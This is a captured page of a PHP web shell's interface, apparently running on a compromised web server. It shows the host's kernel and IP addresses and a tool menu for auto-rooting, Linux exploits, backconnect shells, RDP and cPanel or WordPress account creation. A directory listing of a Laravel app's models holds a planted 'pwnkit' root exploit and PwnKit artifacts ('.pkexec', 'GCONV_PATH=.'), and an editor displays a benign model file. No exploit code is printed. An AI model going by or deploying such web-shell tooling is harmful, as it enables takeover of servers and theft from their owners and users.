Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AccountTransaction.php
1.32
KB
-rwxr-xr-x
AddOn.php
2.53
KB
-rwxr-xr-x
AddonCategory.php
2.4
KB
-rwxr-xr-x
Admin.php
3.75
KB
-rwxr-xr-x
AdminFeature.php
2.64
KB
-rwxr-xr-x
AdminPromotionalBanner.php
2.65
KB
-rwxr-xr-x
AdminRole.php
1.7
KB
-rwxr-xr-x
AdminSpecialCriteria.php
2.65
KB
-rwxr-xr-x
AdminTestimonial.php
2.65
KB
-rwxr-xr-x
AdminWallet.php
315
B
-rwxr-xr-x
Advertisement.php
6.44
KB
-rwxr-xr-x
Allergy.php
491
B
-rwxr-xr-x
AllergyItem.php
352
B
-rwxr-xr-x
AllergyItemCampaign.php
359
B
-rwxr-xr-x
AnalyticScript.php
813
B
-rwxr-xr-x
Attribute.php
1.45
KB
-rwxr-xr-x
AutomatedMessage.php
1.07
KB
-rwxr-xr-x
Banner.php
4.86
KB
-rwxr-xr-x
Brand.php
4.15
KB
-rwxr-xr-x
BusinessSetting.php
1.51
KB
-rwxr-xr-x
Campaign.php
4.09
KB
-rwxr-xr-x
Cart.php
811
B
-rwxr-xr-x
CashBack.php
2
KB
-rwxr-xr-x
CashBackHistory.php
901
B
-rwxr-xr-x
Category.php
5.03
KB
-rwxr-xr-x
CommonCondition.php
3.06
KB
-rwxr-xr-x
Contact.php
318
B
-rwxr-xr-x
Conversation.php
2.99
KB
-rwxr-xr-x
Coupon.php
3.31
KB
-rwxr-xr-x
Currency.php
209
B
-rwxr-xr-x
CustomerAddress.php
278
B
-rwxr-xr-x
DMReview.php
770
B
-rwxr-xr-x
DMVehicle.php
1.38
KB
-rwxr-xr-x
DataSetting.php
1.92
KB
-rwxr-xr-x
DeliveryHistory.php
468
B
-rwxr-xr-x
DeliveryMan.php
6.31
KB
-rwxr-xr-x
DeliveryManWallet.php
778
B
-rwxr-xr-x
Disbursement.php
285
B
-rwxr-xr-x
DisbursementDetails.php
930
B
-rwxr-xr-x
DisbursementWithdrawalMethod.p...
554
B
-rwxr-xr-x
Discount.php
903
B
-rwxr-xr-x
EcommerceItemDetails.php
443
B
-rwxr-xr-x
EmailTemplate.php
5.41
KB
-rwxr-xr-x
EmailVerifications.php
189
B
-rwxr-xr-x
EmployeeRole.php
960
B
-rwxr-xr-x
Expense.php
1.01
KB
-rwxr-xr-x
ExternalConfiguration.php
314
B
-rwxr-xr-x
FAQ.php
1.38
KB
-rwxr-xr-x
FlashSale.php
2.34
KB
-rwxr-xr-x
FlashSaleItem.php
1
KB
-rwxr-xr-x
FlutterSpecialCriteria.php
2.32
KB
-rwxr-xr-x
GenericName.php
538
B
-rwxr-xr-x
Guest.php
321
B
-rwxr-xr-x
Item.php
10.72
KB
-rwxr-xr-x
ItemCampaign.php
5.88
KB
-rwxr-xr-x
ItemCampaignGenericName.php
422
B
-rwxr-xr-x
ItemCampaignNutrition.php
363
B
-rwxr-xr-x
ItemGenericName.php
405
B
-rwxr-xr-x
ItemNutrition.php
356
B
-rwxr-xr-x
ItemTag.php
386
B
-rwxr-xr-x
LoyaltyPointTransaction.php
533
B
-rwxr-xr-x
MailConfig.php
381
B
-rwxr-xr-x
Message.php
1.81
KB
-rwxr-xr-x
Module.php
5.88
KB
-rwxr-xr-x
ModuleType.php
181
B
-rwxr-xr-x
ModuleWiseBanner.php
2.7
KB
-rwxr-xr-x
ModuleWiseWhyChoose.php
2.84
KB
-rwxr-xr-x
ModuleZone.php
611
B
-rwxr-xr-x
Newsletter.php
170
B
-rwxr-xr-x
Notification.php
3.2
KB
-rwxr-xr-x
NotificationMessage.php
342
B
-rwxr-xr-x
NotificationSetting.php
225
B
-rwxr-xr-x
Nutrition.php
536
B
-rwxr-xr-x
OfflinePaymentMethod.php
364
B
-rwxr-xr-x
OfflinePayments.php
282
B
-rwxr-xr-x
Order.php
9.75
KB
-rwxr-xr-x
OrderCancelReason.php
1.07
KB
-rwxr-xr-x
OrderDeliveryHistory.php
191
B
-rwxr-xr-x
OrderDetail.php
1.15
KB
-rwxr-xr-x
OrderPayment.php
476
B
-rwxr-xr-x
OrderReference.php
517
B
-rwxr-xr-x
OrderTransaction.php
1.14
KB
-rwxr-xr-x
ParcelCancellation.php
544
B
-rwxr-xr-x
ParcelCancellationReason.php
1.08
KB
-rwxr-xr-x
ParcelCategory.php
3.21
KB
-rwxr-xr-x
ParcelDeliveryInstruction.php
1.09
KB
-rwxr-xr-x
PasswordReset.php
249
B
-rwxr-xr-x
PaymentRequest.php
270
B
-rwxr-xr-x
PharmacyItemDetails.php
544
B
-rwxr-xr-x
PhoneVerification.php
221
B
-rwxr-xr-x
PriorityList.php
558
B
-rwxr-xr-x
ProvideDMEarning.php
432
B
-rwxr-xr-x
ReactPromotionalBanner.php
2.78
KB
-rwxr-xr-x
ReactTestimonial.php
2.72
KB
-rwxr-xr-x
RecentSearch.php
390
B
-rwxr-xr-x
Refund.php
1.84
KB
-rwxr-xr-x
RefundReason.php
1.06
KB
-rwxr-xr-x
Review.php
1.82
KB
-rwxr-xr-x
Setting.php
759
B
-rwxr-xr-x
SocialMedia.php
470
B
-rwxr-xr-x
Storage.php
376
B
-rwxr-xr-x
Store.php
26.57
KB
-rwxr-xr-x
StoreConfig.php
1001
B
-rwxr-xr-x
StoreNotificationSetting.php
317
B
-rwxr-xr-x
StoreSchedule.php
567
B
-rwxr-xr-x
StoreSubscription.php
1.45
KB
-rwxr-xr-x
StoreWallet.php
583
B
-rwxr-xr-x
SubscriptionBillingAndRefundHi...
343
B
-rwxr-xr-x
SubscriptionPackage.php
2.37
KB
-rwxr-xr-x
SubscriptionTransaction.php
1.25
KB
-rwxr-xr-x
SurgePrice.php
1.8
KB
-rwxr-xr-x
SurgePriceDate.php
737
B
-rwxr-xr-x
Tag.php
330
B
-rwxr-xr-x
TempProduct.php
5.43
KB
-rwxr-xr-x
TrackDeliveryman.php
187
B
-rwxr-xr-x
Translation.php
528
B
-rwxr-xr-x
Unit.php
1.44
KB
-rwxr-xr-x
User.php
3.4
KB
-rwxr-xr-x
UserInfo.php
2.88
KB
-rwxr-xr-x
UserNotification.php
436
B
-rwxr-xr-x
Vendor.php
3.72
KB
-rwxr-xr-x
VendorEmployee.php
2.25
KB
-rwxr-xr-x
WalletBonus.php
3.2
KB
-rwxr-xr-x
WalletPayment.php
184
B
-rwxr-xr-x
WalletTransaction.php
551
B
-rwxr-xr-x
Wishlist.php
444
B
-rwxr-xr-x
WithdrawRequest.php
934
B
-rwxr-xr-x
WithdrawalMethod.php
471
B
-rwxr-xr-x
Zone.php
4.4
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TempProduct.php
<?php namespace App\Models; use App\CentralLogics\Helpers; use App\Scopes\ZoneScope; use App\Scopes\StoreScope; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Support\Facades\DB; use Modules\TaxModule\Entities\Taxable; class TempProduct extends Model { use HasFactory; protected $casts = [ 'tax' => 'float', 'price' => 'float', 'status' => 'integer', 'discount' => 'float', 'avg_rating' => 'float', 'set_menu' => 'integer', 'category_id' => 'integer', 'store_id' => 'integer', 'reviews_count' => 'integer', 'recommended' => 'integer', 'maximum_cart_quantity' => 'integer', 'organic' => 'integer', 'created_at' => 'datetime', 'updated_at' => 'datetime', 'veg'=>'integer', 'images'=>'array', 'module_id'=>'integer', 'item_id'=>'integer', 'is_rejected'=>'integer', 'stock'=>'integer', ]; protected $guarded = ['id']; protected $appends = ['image_full_url','images_full_url']; public function getImageFullUrlAttribute(){ $value = $this->image; if (count($this->storage) > 0) { foreach ($this->storage as $storage) { if ($storage['key'] == 'image') { return Helpers::get_full_url('product',$value,$storage['value']); } } } return Helpers::get_full_url('product',$value,'public'); } public function getImagesFullUrlAttribute(){ $images = []; $value = is_array($this->images) ? $this->images : ($this->images && is_string($this->images) && $this->isValidJson($this->images) ? json_decode($this->images, true) : []); if ($value){ foreach ($value as $item){ $item = is_array($item)?$item:(is_object($item) && get_class($item) == 'stdClass' ? json_decode(json_encode($item), true):['img' => $item, 'storage' => 'public']); $images[] = Helpers::get_full_url('product',$item['img'],$item['storage']); } } return $images; } private function isValidJson($string) { json_decode($string); return (json_last_error() === JSON_ERROR_NONE); } public function scopeModule($query, $module_id) { return $query->where('module_id', $module_id); } public function scopeApproved($query) { return $query; } public function translations() { return $this->morphMany(Translation::class, 'translationable'); } public function item(){ return $this->belongsTo(Item::class,'item_id'); } public function common_condition(){ return $this->belongsTo(CommonCondition::class,'common_condition_id'); } public function brand(){ return $this->belongsTo(Brand::class,'brand_id'); } public function pharmacy_item_details() { return $this->hasOne(PharmacyItemDetails::class, 'temp_product_id'); } public function ecommerce_item_details() { return $this->hasOne(EcommerceItemDetails::class, 'temp_product_id'); } public function scopeType($query, $type) { if($type == 'veg') { return $query->where('veg', true); } else if($type == 'non_veg') { return $query->where('veg', false); } return $query; } public function unit() { return $this->belongsTo(Unit::class,'unit_id'); } public function module() { return $this->belongsTo(Module::class,'module_id'); } public function store() { return $this->belongsTo(Store::class); } public function category() { return $this->belongsTo(Category::class, 'category_id'); } public function storage() { return $this->morphMany(Storage::class, 'data'); } protected static function booted() { if(auth('vendor')->check() || auth('vendor_employee')->check()) { static::addGlobalScope(new StoreScope); } static::addGlobalScope(new ZoneScope); static::addGlobalScope('storage', function ($builder) { $builder->with('storage'); }); } protected static function boot() { parent::boot(); static::saved(function ($model) { if($model->isDirty('image')){ $value = Helpers::getDisk(); DB::table('storages')->updateOrInsert([ 'data_type' => get_class($model), 'data_id' => $model->id, 'key' => 'image', ], [ 'value' => $value, 'created_at' => now(), 'updated_at' => now(), ]); } if($model->isDirty('images')){ $value = Helpers::getDisk(); DB::table('storages')->updateOrInsert([ 'data_type' => get_class($model), 'data_id' => $model->id, 'key' => 'images', ], [ 'value' => $value, 'created_at' => now(), 'updated_at' => now(), ]); } }); } public function taxVats() { return $this->morphMany(Taxable::class, 'taxable'); } }
Close